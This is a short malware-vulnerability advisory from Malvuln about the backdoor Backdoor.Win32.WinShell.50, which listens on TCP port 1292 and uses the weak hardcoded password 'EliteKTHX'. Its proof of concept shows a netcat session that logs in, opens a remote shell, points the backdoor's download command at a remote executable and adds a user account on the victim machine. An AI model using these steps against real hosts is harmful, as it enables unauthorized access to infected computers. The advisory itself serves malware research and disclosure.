Backdoor.Win32.WinShell.50 Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/0faecbdfccf3144d487971ed47f3665c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.WinShell.50  
Vulnerability: Weak Hardcoded Password   
Description: The malware listens on TCP port 1292. Authentication is required for remote user access. However, the password "EliteKTHX" is weak and hardcoded within the executable. The PE file is protected by ExeStealth 275.a protector, after dumping the process the password is easily revealed.  
Type: PE32  
MD5: 0faecbdfccf3144d487971ed47f3665c  
Vuln ID: MVID-2021-0415  
Disclosure: 12/03/2021  
  
  
Exploit/PoC:  
nc64.exe x.x.x.x 1292  
Enter Your EWG 0wn4g3z KTHX:EliteKTHX  
  
WinShell v5.0 (C)2002 janker.org  
  
? for help  
CMD>?  
  
i Install  
r Remove  
p Path  
b reBoot  
d shutDown  
s Shell  
x eXit  
q Quit  
  
Download:  
CMD>http://.../srv.exe  
  
? for help  
CMD>s  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\dump>whoami  
whoami  
desktop-2c3iqho\victim  
  
C:\dump>net user HYP3RLINX 666 /add  
net user HYP3RLINX 666 /add  
The command completed successfully.  
  
  
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